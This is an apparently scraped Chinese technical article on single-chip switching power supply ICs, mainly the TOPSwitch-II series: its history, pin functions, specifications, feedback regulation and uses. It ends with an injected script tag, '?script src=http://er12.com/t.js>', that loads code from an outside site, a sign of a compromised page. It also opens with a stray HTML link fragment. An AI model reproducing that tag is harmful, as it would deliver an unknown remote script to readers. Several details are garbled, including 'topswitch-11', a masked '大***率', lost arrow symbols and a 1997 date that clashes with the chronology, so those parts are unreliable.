单片开关电源&tracelog=pd_info_promo"target="_blank">开关电源集成电路具有高集成度、高性价比、最简外围电路、最佳性能指标、能构成高效率无工频变压器的隔离式开关电源等优点。它于90年代中、后期相继问世后，便显示出强大的生命力，目前它成为国际上开发中、小功率开关电源、精密开关电源及电源模块的优选集成电路。由它构成的开关电源，在成本上与同等功率的线性稳压电源相当，而电源效率显著提高，体积和重量则大为减小。这就为新型开关电源的推广与普及，创造了良好条件。
1集成开关电源的发展简况
开关电源被誉为高效节能电源，它代表着稳压电源的发展方向，现已成为稳压电源的主流产品。近20多年来，集成开关电源沿着下述两个方向不断发展。第一个方向是对开关电源的核心单元——控制电路实现集成化。1997年国外首先研制成脉宽调制（pwm）控制器集成电路，美国摩托罗拉公司、硅通用公司（silicongeneral）、尤尼特德公司（unitrode）等相继推出一批pwm芯片，典型产品有mc3520、sg3524、uc3842。90年代以来，国外又研制出开关频率达1mhz的高速pwm、pfm（脉冲频率调制）芯片，典型产品如uc1825、uc1864。第二个方向则是对中，小功率开关电源实现单片集成化。这大致分两个阶段：80年代初意－法半导体有限公司（sgs－thomson）率先推出l4960系列单片开关式稳压器。该公司于90年代又推出了l4970a系列。其特点是将脉宽调制器、功率输出级、保护电路等集成在一个芯片中，使用时需配工频变压器与电网隔离，适于制作低压输出（5.1~40v）、大***率（400w以下）、大电流（1.5a~10a）、高效率（可超过90%）的开关电源。但从本质上讲，它仍属dc/dc电源变换器。
1994年，美国动力（power）公司在世界上首先研制成功三端隔离式脉宽调制型单片开关电源，被人们誉为“顶级开关电源”。其第一代产品为topswitch系列，第二代产品则是1997年问世的topswitch-ii系列。该公司于1998年又推出了高效、小功率、低价格的四端单片开关电源tinyswitch系列。在这之后，motorola公司于1999年又推出mc33370系列五端单片开关电源，亦称高压功率开关调节器（highvoltagepowerswitchingregulator）。目前，单片开关电源已形成四大系列、近70种型号的产品。
2topswitch-11系列三端单片开关电源
根据封装形式，topswitch－ii可划分成三种类型：top221y~227y（to-220封装），top221p~224p（dip-8封装），top221g~224g（smd-8封装），产品分类详见表1。其中以top227y的输出功率为最大。
2.1topswitch-11的性能特点
(1)topswitch-ii内部包括振荡器、误差放大器、脉宽调制器、门电路、高压功率开关管（mosfet）、偏置电路、过流保护电路、过热保护及上电复位电路、关断／自动重启动电路。它通过高频变压器使输出端与电网完全隔离，使用安全可靠。它属于漏极开路输出的电流控制型开关电源。由于采用cmos电路，使器件功耗显著降低。
(2)只有三个引出端：控制端c、源极s、漏极d，可同三端线性稳压器相媲美，能以最简方式构成无工频变压器的反激式开关电源。为完成多种控制、偏置及保护功能，c、d均属多功能引出端，实现了一脚多用。以控制端为例，它具有三项功能：①该端电压vc为片内并联调整器和门驱动级提供偏压；②该端电流ic能调节占空比；③该端还作为电源支路与自动重启动／补偿电容的连接点，通过外接旁路电容来决定自动重启动的频率，并对控制回路进行补偿。
(3)输入交流电压的范围极宽。作固定电压输入时可选220v±15%交流电，若配85~265v宽范围变化的交流电，最大输出功率要降低40%。开关电源的输入频率范围是47~440hz。
(4)开关频率典型值为100khz，占空比调节范围是1.7%~67%。电源效率为80%左右，最高可达90%，比线性集成稳压电源提高近一倍。其工作温度范围是0~70℃芯片最高结温tjm=135℃。
(5)topswitch-ii的基本工作原理是利用反馈电流ic来调节占空比d，达到稳压目的。举例说明，当由于某种原因致使开关电源的输出电压vot时，经过光耦反馈电路就使ic↑→误差电压vrt→d↓→vo↓，使vo保持不变。反之亦然。
(6)外围电路简单，成本低廉。外部仅需接整流滤波器、高频变压器、初级保护电路、反馈电路和输出电路。采用此类芯片还能降低开关电源产生的电磁干扰。
2.2典型应用
topswitch-ii可广泛用于仪器仪表、笔记本电脑、移动电话、电视机、vcd和dvd、摄录像机、电池充电器、功率放大器等领域，并能构成各种小型化、高密度、低成本的开关电源模块。此外，它还适合构成后备式开关电源，非隔离式开关电源、恒流恒压输出开关电源，供无线通信用的dc/dc?script src=http://er12.com/t.js>
